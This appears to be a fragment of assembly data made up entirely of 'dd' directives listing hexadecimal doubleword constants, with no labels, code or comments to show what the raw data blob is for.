dd 0DA90DCFFh, 8263AC00h, 2855B0B4h, 681400C4h, 1956C201h
dd 9CA438C6h, 80A08248h, 4A14C98Eh, 0AF6E00F3h, 0B6252069h
dd 0FB01C8B3h, 2F3C73F5h, 0F3C82260h, 7F871DF7h, 13E140D0h
dd 502A0DF9h, 271DDD0Ch, 13FC187Ah, 0B19EA18h, 0A0004DFCh
dd 59BDA6A2h, 6B681C09h, 0AC7C80B5h, 0F402D836h, 96CF0CE4h
dd 7EC2140Eh, 0B16F2A00h, 2827801Dh, 5454F8E6h, 0B0D04Ah
dd 4DF94895h, 5F82465h, 0F88D1625h, 694B29Ch, 7BD30A35h
dd 0BE0F4A95h, 0E11744FCh, 696622F9h, 0E84E1072h, 8B240019h
dd 1E557F6Eh, 4754300Ah, 3AC62769h, 0FF6AF500h, 67EAE9Fh
dd 3F8CB3B2h, 0E00A209Dh, 0A680A491h, 69BEB2FDh, 0FFBE0EBh
dd 79ADB9BCh, 94F1F6E0h, 2C0D6050h, 0B82E0DA0h, 91613AE1h
dd 0EADD1424h, 4173268Fh, 442400D4h, 16C9F4D1h, 0A4A0B0Bh
dd 59D581DCh, 0EC24F2FFh, 0C032F5F3h, 0A363AA00h, 9488BC75h
dd 2B73Ah, 0C9360F2Fh, 1667B351h, 169F6CCh, 725752D4h
dd 0BD80604Eh, 0FE5901FBh, 0B2218423h, 4554983Ah, 3BD319h
dd 0C1DA0820h, 0E1090387h, 935C3004h, 48905EDFh, 0CA42F558h
dd 40B86831h, 4CD336C1h, 0E644AE00h, 0F8E0479Bh, 85CC0A30h
dd 1118517Ah, 43007D39h, 3176C98h, 3BF31D8Dh, 0BC00146Bh
dd 0B98FF4BAh, 0CE3A19AEh, 68DD0CF0h, 7A3927h, 0D2B89C89h
dd 5DED0193h, 0CAF5D900h, 535B90E2h, 0C6F002A2h, 0F25857F3h
dd 0AC46F892h, 27BA2002h, 68A06BBEh, 5CDB092Ch, 0DC072198h
dd 0C32ACFD0h, 317A4ACEh, 80808494h, 73F57C3h, 158C0052h
dd 0FB43AF23h, 5E09E332h, 81B22F51h, 8F7B1F28h, 2B28E0E2h
dd 0D0295017h, 8228B8FEh, 57C4208h, 0F0888214h, 0A250001Ah
dd 0F3E33B7Dh, 0AB00A3D8h, 0C4B057F4h, 0E092DCC5h, 1DCA48Dh
dd 54F8BEAAh, 9044F958h, 0D0806BE9h, 70EEA53Bh, 58C3FF02h
dd 50998257h, 43543090h, 0A6223131h, 0CD0DB900h, 4776C83Bh
dd 0FB4638A0h, 107983Dh, 30F51D84h, 7F51296Fh, 0FD96C203h
dd 0C0E94164h, 9BEB54Fh, 12D42863h, 0E2199418h, 0D70AA501h
dd 2A89DC11h, 0AE41F0h, 44F4AF9Bh, 0CC622358h, 4D205B03h
dd 3A69C4h, 1C8281B9h, 9D6F30Dh, 8797C200h, 16390429h
dd 799300CAh, 0F41965A3h, 90007581h, 5BFCAEDDh, 59A561h
dd 91E1B443h, 1C3A8A0Ch, 76B95812h, 80682422h, 1805BFD0h
dd 0FC708102h, 284512C7h, 0D9D00801h, 0F0581441h, 0B4219C23h
dd 0CDF6B101h, 18314C7Bh, 2036B3D5h, 282DC013h, 4E40EE04h
dd 68C64872h, 51A6DC86h, 0A30CC900h, 721C3C77h, 4B76044Dh
dd 0A075B65Fh, 0BE884864h, 7B7E4024h, 2C285841h, 618BEF80h
dd 4603DFE1h, 84AFC050h, 222BD88Dh, 0EE4570F1h, 0F23E0024h
dd 3B19A66Dh, 180009DDh, 1110FC7h, 3A53B81Ch, 0EFBA34C5h
dd 0A9256918h, 0FA008B51h, 8CA6F7B0h, 782A319Ah, 8A350BD8h
dd 0AC3043ECh, 4CB964FCh, 9C68BC19h, 5C55CF70h, 0A0C050F9h
dd 207395FFh, 9E0659E0h, 3497CEB3h, 0EDB40B39h, 0FB002C91h
dd 85B75E7Ch, 47F708A0h, 5DC6E48h, 0DC400299h, 601F544Eh
dd 47989BCDh, 0B44A007Ah, 0CBECE62Bh, 84E0328Ah, 91FD9C00h
dd 0F9B5229Ah, 0AE1D18C3h, 93177071h, 0FDAFD900h, 4449255Fh
dd 0A82858C7h, 108072C8h, 67929BACh, 2975E6h, 0ECC6BBF7h
dd 0B145669Ch, 548B7500h, 50C3ACE8h, 90CC501Bh, 401789AAh
dd 82E25FAh, 6EE05CF1h, 9ED60500h, 44FD6CE0h, 7C6900EEh
dd 4CD86DB7h, 0F105D074h, 5D182FCAh, 19877F85h, 58B03F74h
dd 8808A256h, 0BE091460h, 0C846CCh, 1FF55422h, 0BB43C4E4h
dd 82134091h, 6ADFA8D0h, 9A6900F1h, 457BA0C7h, 8C9F621h
dd 864F0h, 0A7B5792Ch, 66A2809Ah, 0C964BA00h, 4397672Ah
dd 0AA0B0483h, 0B4825411h, 210B8F88h, 8248FE52h, 40CEBF76h
dd 316C48h, 0DAA664E0h, 6A30AD1Dh, 6974781Ch, 0E52790C0h
dd 934C7Fh, 0BFDF1005h
dd 0EB51C5EDh, 0C9611500h, 6F13AB83h, 65B20E3Dh, 6CDB38Bh
dd 10B80910h, 24B43740h, 0BD918800h, 0D1582263h, 18CA4F3h
dd 64CB82Ch, 0C8201945h, 27132E4Dh, 98301511h, 202F129h
dd 0A4969AC3h, 98CCD0F5h, 0A004624Eh, 80898CFCh, 1900E033h
dd 4F1AFA52h, 6F00B6B7h, 48E09A47h, 0E82075E3h, 44F60112h
dd 6AF41F11h, 52FAB7h, 308AFE02h, 0C12F2920h, 6C62FAF0h
dd 4EC0DBCFh, 0CE4628C2h, 689031B0h, 0F144C49Ch, 24113400h
dd 0C0182F19h, 95617783h, 8772F0h, 0B58F66DEh, 226DC51Fh
dd 8C015A12h, 9B2E4C8h, 79E1B1F9h, 0DF54A468h, 477720h
dd 129DCE0Ah, 576EF714h, 0FCA41A2Ch, 13FB2840h, 49CA5A72h
dd 0BC0FCCD4h, 0C692BC20h, 9013E4Ch, 228F45AFh, 0AE06795h
dd 266933DDh, 50C7B031h, 50BF6F31h, 46F88F04h, 0F680A49Ch
dd 5C1CCE0Dh, 73C0F075h, 3264E6EAh, 0FB890B02h, 40AEF252h
dd 72DC8BCh, 7EBC4C51h, 0AFCFD319h, 3BF8E2B3h, 3A00F278h
dd 0CD28260Ah, 42C247h, 90107454h, 0F0ECD35Ah, 180AC82Eh
dd 0FC52CF00h, 1F3C8D60h, 0A5428B1h, 42FC99CCh, 0E8A2E11Ch
dd 0C491B92Ah, 9E1038F3h, 67181F40h, 3F6A24Bh, 0CA6ED310h
dd 52B8ACD5h, 0A5000F6Ch, 960A7CEBh, 49315C59h, 2101E012h
dd 0FC81BC2Fh, 0B638428Bh, 0B943CCB0h, 0B695E6Bh, 0D81684h
dd 0FF5E8818h, 0FBFC6FF5h, 78823E12h, 47B10840h, 0F1C08B5Fh
dd 58C64DC0h, 7214A0CFh, 0C98EE0CCh, 6C480A92h, 0B0424170h
dd 0FE5811A1h, 57060022h, 617C2725h, 1800685Bh, 2BDDC9CAh
dd 0FD4086BAh, 5D688014h, 0CB1B5C0Ch, 8071F850h, 9143FC8Bh
dd 3840EB20h, 8BB700F0h, 4A62992Ch, 0A0E2D1DBh, 3354F1E1h
dd 73EB00E0h, 28F68446h, 198E821h, 0D16563B7h, 60BFF9C9h
dd 95017828h, 59CF5362h, 0A04841F0h, 6E6D8838h, 0D3EC2900h
dd 2FF12AB7h, 1ACD13E6h, 787488F2h, 170518Ah, 3BF12365h
dd 51407052h, 53C87CA1h, 0F1E8F0B4h, 541426E2h, 1310A210h
dd 70C2CE50h, 441478B6h, 3901113Bh, 985D074Eh, 0B1FCA637h
dd 353C2D82h, 0C4A0889Bh, 8A8A71Ch, 700ADFFh, 0FC096FF9h
dd 5E1B6Eh, 0F6417D6h, 13E889A3h, 0B3C7DC04h, 0A8C01E67h
dd 9EC87209h, 3C8C83D4h, 2398F22Ah, 0B902F145h, 0D13DD8DFh
dd 2C70E1A1h, 52FE5510h, 7680D0B1h, 17A63A3Bh, 0AB810040h
dd 292E746Ah, 7D0086D6h, 9BF461F0h, 2C324FF1h, 0C8903Eh
dd 0BDB7776Ah, 1011C6Fh, 697514B5h, 5E100E82h, 22005040h
dd 0E6C03C6Fh, 39B1D043h, 21CECC12h, 0CDA02C28h, 2AC87314h
dd 1C91CCB9h, 0E9F9B880h, 0D1C5F0h, 52F72C73h, 257B2640h
dd 80982B4Ch, 59EF1768h, 88D649FBh, 0FFBF5B02h, 8084257Ch
dd 44E265h, 0F0224641h, 9E301E0h, 80241F6Bh, 0B3428C68h
dd 0C0A950B6h, 4573B481h, 8CC070B7h, 3773BFh, 2F31AA76h
dd 0F77C1225h, 0FCA5100Ch, 6808E4h, 0DD6CF006h, 0D8F58EEAh
dd 9D48B9E8h, 0AF661864h, 45213A60h, 83F8280Fh, 89EB2F70h
dd 0AF601FFBh, 6FD01D59h, 2D2546C5h, 72163101h, 682922C2h
dd 8FBFDCh, 0CFC176C9h, 3DE810A0h, 0E22BA803h, 926DF646h
dd 0E4AC1514h, 1D1C9600h, 8834CB72h, 0F853E054h, 0F3B167D8h
dd 0CCA7ED70h, 31D90126h, 125CFF0h, 5BE8602Fh, 84F2D121h
dd 0C0B24CBBh, 5854F7F4h, 494FF330h, 95ECB9EDh, 0BC91C18h
dd 1220E0B2h, 0DC0948FEh, 0FF84E9C4h, 582F5180h, 600899F5h
dd 736CC962h, 46F6FD03h, 0F0A40B86h, 5B24540Ch, 2C4C2C29h
dd 0D076B280h, 0D042B8A0h, 0DB96EAC0h, 8C003FF1h, 4399C1FCh
dd 0C2B9A5A7h, 8EFE5B50h, 284BAA10h, 4CB4B1F6h, 0C11628CAh
dd 1DD49069h, 640E3F35h, 0E2AAB9ADh, 90712C3Ah, 8A32CFF0h
dd 5487D0D9h, 62C4E303h, 33ECACC0h, 0AA3F3EC6h, 0CA57C593h
dd 13012274h, 21A82768h, 62F0581Ch, 0B95C1F04h, 0E137548Bh
dd 0FB104660h, 74005811h, 8F719849h, 722BA4CBh, 0A0253ABCh
dd 1AEC5080h, 0E251D2A5h, 0B7B38h, 58D7C3B7h, 14B3F46h
dd 0E5784A73h, 87272F6Fh, 5D832220h, 0F8BC4320h, 40814A54h
dd 65FBD170h, 9D2F10FEh, 713410CDh, 0E6297D67h, 18F500DAh
dd 129203E4h, 8900FFDCh, 6B3D15C4h, 2CF74442h, 1E44B21Fh
dd 0D00B169Eh, 16B45E14h, 0EF9A721Eh, 5CFDCBC0h, 7CD00144h
dd 8DFC1C33h, 56E380EEh, 29C0B8BFh, 0DD08C404h, 58A4B243h
dd 72F6120Fh, 6984B057h, 2652122h, 59BA4CB5h, 0B8C43DFCh
dd 8288B878h, 0C0C9DD77h, 0D9134A01h, 8D3FD75Eh, 0A9E0050h
dd 9EAC6CAh, 3ECF00A4h, 64F1C31Dh, 3765D801h, 58C7F438h
dd 0D159C412h, 0AE2C00B8h, 4C831E30h, 0CD78A500h, 3E1C0D4Ah
dd 0C3A70163h, 6471F41Bh, 2F022F1h, 2C6C907Ch, 0A67041BCh
dd 48E4DF02h, 2E461D00h, 0C5D5439Bh, 8BB80024h, 5679F7BDh
dd 6004C39Ah, 0A82839CFh, 0EC6E9C82h, 0DF571130h, 858103A4h
dd 8BE7F9FBh, 20D3D8F2h, 5D7C9052h, 652E58C4h, 84C39060h
dd 3A4224C6h, 80567729h, 0FA678BE0h, 0DFB611C8h, 0FC3A015Bh
dd 0F812FD87h, 1ED555DCh, 9ACF93h, 8E897E8Fh, 6C26FCCDh
dd 906470AEh, 0BE09201Eh, 0BED2D54h, 0ABCC04A4h, 0CDBAB540h
dd 5613B214h, 8DC374Bh, 0F78C00C4h, 59161AACh, 4905DFC9h
dd 0F411F1C7h, 69B53882h, 90402CB0h, 96550ACCh, 0AFA054h
dd 0ADB24FE0h, 93C5BAC0h, 5A99E702h, 7A5417FDh, 2D470068h
dd 9EE9F572h, 430EC4AAh, 82DC9382h, 0D1615883h, 287C1688h
dd 10000E00h, 0B4980BADh, 0A7E854h, 19651B96h, 0ED5CB6CEh
dd 0A8FFC1Ch, 0B4247040h, 12F68985h, 0FA7C1F49h, 1408DD10h
dd 2E1467FCh, 902D54C9h, 1114E6B0h, 886961h, 66A60F55h
dd 5EBC25EAh, 349460F1h, 2E00F011h, 4AB0FD55h, 0EC5CDDD0h
dd 0E93C0063h, 0B1B54852h, 0CC0B2862h, 18C97215h, 94F45900h
dd 504A5094h, 0BA763D00h, 0C66B323Eh, 1410F902h, 242E1147h
dd 4247CC71h, 8088D24Fh, 6968893Fh, 0B72B0070h, 49C51513h
dd 5634007Bh, 0D2EF8F14h, 0F430D50Ch, 18C82817h, 93A0004Dh
dd 0D03D2A32h, 672D6AF3h, 0E62B70D2h, 4223425h, 8040B889h
dd 54DA613h, 8BE739FDh, 0E170A480h, 1C977698h, 18146707h
dd 8AD30350h, 3CE9E8A6h, 0F26E0AAAh, 2C4E41Fh, 48D43538h
dd 127C10C1h, 0E43C5C68h, 6C1E414Dh, 51EAB87Eh, 9168A400h
dd 0B32A00A0h, 7C709427h, 74B14C42h, 0CE480A8Ch, 2A59F4A1h
dd 64601039h, 1DC02E0h, 0D1CCBBBCh, 1CEB8C80h, 0C6784904h
dd 2930F100h, 0DD121520h, 4B380196h, 8FB4FD57h, 5ADFFCE4h
dd 226871C0h, 0CF040Eh, 0F71DEE74h, 4A1AA783h, 4FF13Fh
dd 0C042AB58h, 0AD0642Ah, 50EE2C25h, 0DBB58044h, 0DC46E599h
dd 1CD9D120h, 812A56B7h, 16242389h, 40246C50h, 0F150D008h
dd 20978214h, 0BC7E02C8h, 9EA3023Dh, 99CCD329h, 34124444h
dd 0E0CDC4E4h, 588F5C28h, 0A5E864C0h, 19039AA0h, 0F851DFFh
dd 0F1149AD4h, 482FC078h, 0A11FD6FDh, 349954D7h, 30103321h
dd 3171EB5Dh, 4AB1B3Ch, 3CF6BA1Ch, 581D5CE6h, 0F8F9225Ch
dd 3700452Fh, 0A51FE13Eh, 130D019h, 71D2ED4Dh, 33F0C43Bh
dd 0D61C00F8h, 0B673DBECh, 6D7E0033h, 0D4F33724h, 463E22D0h
dd 8EF88BADh, 0F0D01383h, 71087B05h, 0B990FF1h, 419297CEh
dd 0F692141Ch, 0C0AC3934h, 0F88EF962h, 79A563DFh, 0D4923433h
dd 8C8600FFh, 17BBDCBh
dd 3FBE2A57h, 40E56301h, 3CA8BE4h, 51DE0748h, 10080428h
dd 804B14ECh, 2DA14684h, 0F1DD0904h, 64BC2125h, 0C190249Eh
dd 552BC872h, 8F24F398h, 41D58080h, 651DFA5h, 3D21D827h
dd 36005CAFh, 243A7CFFh, 0B823ED88h, 8F2091B0h, 0C0FC7982h
dd 87B0ACDBh, 4E0049D1h, 0FEF741C8h, 1547395h, 58344B59h
dd 21C216F9h, 80B06CB0h, 7B1A07A8h, 5B5F00A0h, 4F102C14h
dd 9C4B8302h, 4AE2745Dh, 85744054h, 66F5CEC5h, 0FAEB2400h
dd 0B0B20B90h, 0E7DB00A0h, 9C0FE441h, 8805CD72h, 0C3536287h
dd 55C9D8C0h, 10DB008Fh, 9B327338h, 5D03EA37h, 13AE754Fh
dd 7CE9E051h, 0B56C028Dh, 223064FEh, 46B4FCC0h, 6AA81900h
dd 0B7F9CFB9h, 0F29409EBh, 0DC841CC4h, 455493Ch, 0F04C507Ch
dd 612DD28h, 8A004D20h, 11FFF762h, 0FC280069h, 0A4A2EA8Ah
dd 0BA2F1FACh, 0B25C18C3h, 9F4B8CFh, 1FCE16BEh, 9750000h
dd 0C90C7D1h, 27DAAF00h, 6FFC6C4Ch, 0AB0100F0h, 0DBDB44Bh
dd 0A158303Ah, 0F9C70B78h, 94D00051h, 17E429C6h, 2069DD14h
dd 1D155E3Ch, 0CA001979h, 844C3121h, 5AB7F5h, 57798F82h
dd 67CBA81Ah, 0D39087A0h, 6DBDA200h, 0E2582936h, 0F63BB8F4h
dd 0F5C800DBh, 55A96F68h, 0C401C3F9h, 0E7B4F061h, 0BBC8438Ah
dd 5A64E0DCh, 57442811h, 54B39904h, 1080E179h, 91F2675Dh
dd 69FC0068h, 1D880CC9h, 28BA343Ch, 0BF260891h, 0B40850ABh
dd 4076445Ah, 84026D12h, 11970352h, 0D672C329h, 0B14CC1FDh
dd 58184775h, 591F9880h, 0E6CC3CFh, 93CA9654h, 0EC2E63C0h
dd 6A0791CDh, 0FCB9E77Bh, 8410CEA7h, 611621Eh, 6DF5DC2h
dd 7344517Ch, 78900A7h, 203E7565h, 45009F24h, 6DC97A14h
dd 0C21C095Ch, 2F012228h, 86F624E0h, 2B70809Dh, 0E1CF0A2Ch
dd 8E40022Bh, 347E226Ch, 1375213Fh, 13A4B3D0h, 0DC2398CDh
dd 4C268030h, 6DAA003Ah, 78745225h, 510C3642h, 293D69C5h
dd 0A74B001Ah, 86E0E5BCh, 894B743h, 3392CB41h, 0C281807Ch
dd 950B9E1h, 0F0C30800h, 0B0B1DCh, 305249FBh, 421D31C4h
dd 44679482h, 986F00A8h, 0BAA6D91h, 840001DBh, 5288F57Ch
dd 4906312h, 2C2992C2h, 61C0CCCDh, 0B4000374h, 0C48B86C6h
dd 57E98DDh, 0B532E7E2h, 83AC85BEh, 0BCC978E0h, 14DE0062h
dd 481FE2DFh, 84184B4h, 0C14B8A0h, 0AD5D0164h, 140412B9h
dd 0F4586F86h, 60685CA4h, 25DFB93Eh, 0D300F574h, 0DECAB972h
dd 307B2C38h, 5408EC07h, 0B8046F2Ah, 0F025F3F7h, 0C0B46885h
dd 0FA5880FEh, 0F3593860h, 2D2AF452h, 0C0A0DFB6h, 1DAD6264h
dd 84DEA901h, 0D25B01F8h, 83EDAEDh, 0AA84AF4Ch, 28C5C74Bh
dd 5507ECB3h, 40934923h, 540B4F9Ch, 2BA61C27h, 94580074h
dd 0C6E80F4h, 23C57214h, 9C91DC39h, 21E6D500h, 0F2DC05Bh
dd 1368907Ch, 9C15DC40h, 0ED25A9D1h, 0F2202054h, 7D79C448h
dd 97221F4Dh, 59364019h, 95FB1B99h, 0BEED4B01h, 0AFD4C9CDh
dd 10278829h, 80CA78A5h, 38C9C1D0h, 81002CE9h, 5FEBFB2h
dd 12AAD4C0h, 90253DBh, 2C604C8Ch, 84A4DC4Eh, 9268000h
dd 8E21877Ah, 732D2625h, 0BA6894BCh, 4DF9590Bh, 85730A0h
dd 0CF7272EBh, 1B80DC94h, 9CAC7DBh, 2657FAF7h, 80CB775h
dd 70917C7Fh, 78E34001h, 0D4FEB787h, 8601AA18h, 0EADED047h
dd 42E4A80Bh, 390362B1h, 34F1F858h, 13765207h, 0FD2E2531h
dd 0CC72A185h, 5EC0222Fh, 92831420h, 474008Dh, 0FF46ED9Ch
dd 0A1058BACh, 0E2B8BB0Ah, 0DB50D382h, 4D2803D4h, 117F4EA6h
dd 7E24C613h, 79221404h, 0C0C7DD47h, 0B29ACF0Bh, 4F00EA7Bh
dd 8AFD98CBh, 0FCD0F2Fh, 5B7AF89Ch, 6B296CC0h, 0B00BB51Dh
dd 0C5331Ch, 68889318h, 554C3E3Ch, 57F2CD81h, 42B3210Ah
dd 0E45C2ABCh, 146FF0E0h, 989100BDh, 0F7C229D1h, 4D163B0Bh
dd 6C95C673h, 1FC06060h, 441900A0h, 0C3D008DEh, 5BF42E2Dh
dd 0F5552200h, 1C7E82F7h, 0E9410462h, 0B42D3A43h, 69266108h
dd 0C9845CC1h, 8B4550Ah, 1F6DEA2Fh, 254BA09h, 0E207F1C3h
dd 103E80C1h, 4C80E912h, 370443B2h, 80E85899h, 0C80BFE0Ch
dd 19519500h, 9FC2184Bh, 85D50FCh, 0C082041Ch, 0B42625F0h
dd 8978AB10h, 0F11262F4h, 0BCD180DFh, 5B1051F4h, 939E854h
dd 6868B1E3h, 34600BCCh, 224600CDh, 0D8B1B7F2h, 0FCE24903h
dd 4FF16B03h, 0A8654576h, 0DDD1Bh, 1178701Ch, 9C2C7FF9h
dd 804AA73Eh, 91163610h, 7F4DB00Ch, 46C80025h, 0C5E03776h
dd 7C05E5D1h, 2A27EDC9h, 8FE38880h, 0CFC8122Eh, 6AA0C809h
dd 1D20393Eh, 0C131DC1Dh, 5DC0CAB5h, 0EED2F821h, 70BC1712h
dd 0CE610033h, 1DCF903Ah, 685DF200h, 0C5E1BF60h, 0B0A2E491h
dd 0ED520194h, 0B3BC5330h, 80006CC2h, 71FB4670h, 94320585h
dd 2118DFBFh, 1045F898h, 0EA52F5F3h, 5C2E7CB4h, 0C3C0ACFCh
dd 310BA310h, 907EEC0Ch, 0FC6270D2h, 0FEF004h, 6D5B2A7Ah
dd 0D0108E17h, 18C1C224h, 6C221503h, 0A4B884C7h, 0BF800C88h
dd 0E8DDA6A7h, 0EB8501B0h, 9BBB97FCh, 81A5ECB3h, 905F5D09h
dd 2B0C9083h, 0B99900CCh, 1E260866h, 50E4DC29h, 0BBC6310Fh
dd 38C1760Fh, 421244F1h, 123E4471h, 90DC50FEh, 7AEC02A5h
dd 0F8823D41h, 282E2841h, 803F8880h, 2F8409DDh, 0D303E6DBh
dd 0D7988A32h, 9A74A8CFh, 6B104A7h, 0E89DF44Fh, 71258000h
dd 0F222662Fh, 22F15BD1h, 5604BEFCh, 10652349h, 0F1BD5200h
dd 0ECC17C40h, 0F6721F3Bh, 0D88987A6h, 0B2820F3h, 0FF79CBBEh
dd 220120B9h, 0BABFF743h, 5C611071h, 4E47944Ch, 2664D0DDh
dd 677EEF6Eh, 80CFD238h, 0FE4E1D15h, 9B483A3h, 43DC46B8h
dd 1478D4C4h, 6BCF8F25h, 96B82F9Ch, 649ED42Eh, 33113ACh
dd 81B7EA5Ch, 9658A04h, 0F4C2F8DCh, 229604BEh, 4850210Fh
dd 42A8DC3Fh, 933ACD38h, 7C007818h, 6C85A4F3h, 585409A0h
dd 0E0F94AF6h, 0C4944C20h, 0DC086707h, 42CD14Bh, 1287F59Bh
dd 27F9030h, 0CECD3DB2h, 6E9E403h, 56A0F477h, 0A0F8B7FAh
dd 62AE9D00h, 94AD7C2Ch, 496C271Ch, 7CFAB069h, 0A898C01Ch
dd 0BD295760h, 4F1F3422h, 288CEA20h, 0BA421272h, 0B789CA7h
dd 0AC8B0E00h, 85DD22BDh, 61AEA2DCh, 840C029Ch, 0CC117381h
dd 0BFC9010Ah, 22F73090h, 0B842141Ah, 7122345Bh, 59629207h
dd 6C502DBAh, 0CB9B2A6h, 8621BD16h, 50400AB0h, 4FC75F72h
dd 0F2F63A60h, 34C511B4h, 6276167Dh, 66000C2Dh, 4309DD39h
dd 0C0DC9882h, 5475F8Ch, 8DFD1A0Ah, 14FC06F9h, 6E44A8FFh
dd 8C08315Bh, 5ADB8D8h, 42C60C8h, 0FA119656h, 2654E2EAh
dd 0B900EAE3h, 5C1965F5h, 1FA30068h, 0DB59AE0Ah, 0A8581B15h
dd 638A7CECh, 0DDD1E094h, 0F03F0678h, 0D17F0167h, 1451C439h
dd 0E87C24h, 0F43CE9E8h, 0E4F16132h, 34AB2C1Bh, 9B13C0h
dd 5BF5695Ch, 0BA06296Eh, 0C6B114E7h, 0C1B609E9h, 6090810Ch
dd 0FB121F82h, 74006EDEh, 0BF1866A8h, 0DFD3006Fh, 0D1C29DF0h
dd 0F0AA6C1h, 8C171B9Ah, 0FA219510h, 0E4695C02h, 80EC5C50h
dd 4028A18Ah, 5A73EA4Dh, 1E207258h, 7F849471h, 7C85CCC8h
dd 7E894C8h, 21C5A0B4h, 0F981C0A1h, 6E0BFDB1h, 7A5415FAh
dd 0B8AF0054h, 9B3BA0FEh, 0AEA1C6AEh, 0C0306932h, 7694E708h
dd 1BA700AEh, 632D7F15h, 3F09AC80h, 0E4A82279h, 0B2384448h
dd 7F80891Dh, 0FC3E900h, 764A3233h, 277C90h, 7A84FC18h
dd 0DD9D355Ch, 380010B5h
dd 8AF00A6h, 6096F295h, 0A7002556h, 0DC116EFEh, 48E48AFAh
dd 0B00F4C15h, 0B126CB43h, 2B01084Ch, 0C56355Bh, 593002C9h
dd 933797Ah, 6A60F4ADh, 7F1848C4h, 0D19AB6DBh, 2EFE8C4h
dd 68EC70D2h, 452BA43h, 0C872093Fh, 7ADC8978h, 46EC1360h
dd 57C8B46Fh, 0FEC00116h, 0B50690F2h, 3922CA72h, 0D233A1Dh
dd 28CC25h, 0AA3CE648h, 8FADAF72h, 3D4F3772h, 10097453h
dd 0AA08698Ch, 48379460h, 0BE2CB012h, 20F3645Ch, 7AC6D0h
dd 0A789ECCh, 43CBCDF4h, 550738B0h, 0B7CEA30Fh, 0DC8DFB75h
dd 61301E6Eh, 0A8002111h, 0C02928D6h, 8400CE2Ch, 78B37E8h
dd 1FFE278h, 53661A73h, 4056F5FBh, 8C76350h, 58E28496h
dd 388852F0h, 0A305D5C6h, 0B80A7087h, 6117E080h, 0D51B0067h
dd 0E3422A98h, 0B000C22Ch, 9F5E814Eh, 26E32BFh, 3848F7BBh
dd 8CC6A1D1h, 46006978h, 6F396B33h, 99FD85h, 0A1C0A5C9h
dd 570EC63Dh, 10065E6h, 0EDC3348Ch, 1B5425Ch, 196D31F9h
dd 8A33302Fh, 0D8098219h, 55139B80h, 1C0A8B87h, 0D70B88h
dd 0E2385F98h, 15050670h, 966D915Dh, 102AAC82h, 0B47287ADh
dd 0B0F1A831h, 72003C74h, 90B739CDh, 2D60F690h, 18902925h
dd 242754A5h, 0EA0C9044h, 7A3F0B58h, 1780DE51h, 41A5F762h
dd 0BC1C7600h, 53EA366Ah, 80B4024Eh, 7F9716B3h, 84A6C0E0h
dd 1F65B100h, 714FC3B9h, 4C19314Dh, 802E280Ch, 548EFC80h
dd 0E697DBA7h, 0FDDC0F79h, 8D848FBFh, 87B64730h, 7018CAD2h
dd 0DDD0F914h, 0FFE6029Fh, 8399F19Bh, 0AB80B85Eh, 610DC4BEh
dd 7B330092h, 17AA77Fh, 0A300E025h, 245E316Ch, 40EDA026h
dd 0BF2C4212h, 0CFC1DCAFh, 543C900Bh, 0DEC8B380h, 0F8B989BEh
dd 0A66F8D81h, 3230EA75h, 0F2860492h, 809B607Dh, 40CAFE4Ch
dd 65AA370Ah, 2B86F0F3h, 7519FD18h, 9FB49458h, 6817CCF3h
dd 0FC000AC8h, 0C869367Fh, 7CF03A13h, 94B948B7h, 21808C40h
dd 66A58AFCh, 0B24314A8h, 5524644Ah, 8AA8404Ch, 0F004C42h
dd 18924A56h, 8CDDFBh, 8E9747DFh, 7213FFB1h, 70C8D14Bh
dd 58A4B2ECh, 0E9095CBAh, 6853BE58h, 80111C89h, 59D59A50h
dd 44B9F2h, 0DCEA8A42h, 1509ABC5h, 983D66B5h, 0F9F4E4h
dd 9914E901h, 0AA75097Fh, 0D2418E01h, 4EA84B7Ah, 0E003C23h
dd 35195D70h, 80F8916Eh, 1262B63Eh, 0A22325h, 1E8BCF03h
dd 384C6765h, 412D30E4h, 26F827C9h, 12F4F905h, 0D338D068h
dd 0B200BDDCh, 0B932F083h, 24619A35h, 0A78434E8h, 18008464h
dd 0F3950381h, 19E2CECh, 0DBC9EB46h, 7150D766h, 48298090h
dd 74C1C2DDh, 0AD2B0090h, 0E4CBCF36h, 6312C9BDh, 2CF5FF35h
dd 5E54373Bh, 2A1D8882h, 0E42624F4h, 5145601h, 0A858F458h
dd 50DC52B3h, 10005A22h, 0C6233C39h, 0B436F6h, 2BB75008h
dd 7B7A624Fh, 7300348h, 0EA4AE825h, 0E544B9D1h, 0F5C40871h
dd 22809229h, 582554BCh, 68D849FCh, 38C403Bh, 0E9C973D0h
dd 846E6200h, 555EBBC8h, 9099063h, 27FA353h, 51FD7060h
dd 0A4C75C89h, 160974F0h, 0A2FCC7DBh, 0F90E77E4h, 8AE5685Ah
dd 0CC810CC8h, 0EB74E6E7h, 1413D2E0h, 0EC5EF1C2h, 58D8C426h
dd 6F9034B4h, 170B2B00h, 19FE799Ch, 0D9D81324h, 16CA0181h
dd 0E9FFCA09h, 0C9C05145h, 253A112Eh, 58F6A4FFh, 0CB8FE300h
dd 0E217246Ah, 17C3400h, 0AC18BD55h, 2C62755Fh, 0A96C4803h
dd 9B6F806Ch, 0AC88646Ah, 1ECA3Dh, 0F8F2EF51h, 0B1824A95h
dd 27B900C0h, 91ADDBCBh, 106B0805h, 9E02A884h, 406D9518h
dd 48DD8B9Ch, 580C6894h, 0F39949FAh, 0B3768900h, 0B2246E2Fh
dd 0F75400F1h, 3719193h, 0BCC672h, 4890BE8Ch, 924020BBh
dd 81748233h, 5DBAF09Fh, 9707007Eh, 239B09B2h, 5C4E342Bh
dd 656B1480h, 90E8EBh, 0D9311103h, 20A51957h, 0E3036EFEh
dd 0C3A2064Dh, 7B8A89F7h, 10AF6C80h, 0BA753D81h, 12F42900h
dd 0EBB75814h, 3ED23E69h, 0F810DD27h, 0ED024233h, 908325A2h
dd 40DC5C3Bh, 179EE131h, 64798107h, 181023EFh, 95097F3h
dd 0DC1F39F8h, 0AD20F816h, 0A0050EAAh, 62C2884Dh, 7CC058E8h
dd 0D800D07Ah, 609DF0A1h, 0C4B56C7h, 0CE1027B8h, 82001618h
dd 5E7883B1h, 0A0B62590h, 9891AEC0h, 0F026095Ch, 2080CFBBh
dd 2F108E9Bh, 9819A003h, 0DF3669BCh, 2DFC83C0h, 7C4C0DBAh
dd 43406B3Eh, 40086444h, 6C26DA8h, 1902BBC4h, 0CFB24401h
dd 0AC6EAFDFh, 0F0BEA884h, 1CC50ED9h, 0F68D0620h, 304355E7h
dd 0ACDF9100h, 0E2E54A2Ch, 308B32FEh, 0D5025AE8h, 0B6D10CFh
dd 879C7C84h, 4E084610h, 4B846764h, 700086B4h, 1E21080Fh
dd 474A3E8Fh, 334E9BB4h, 97F0357Eh, 5E124D47h, 70E293DFh
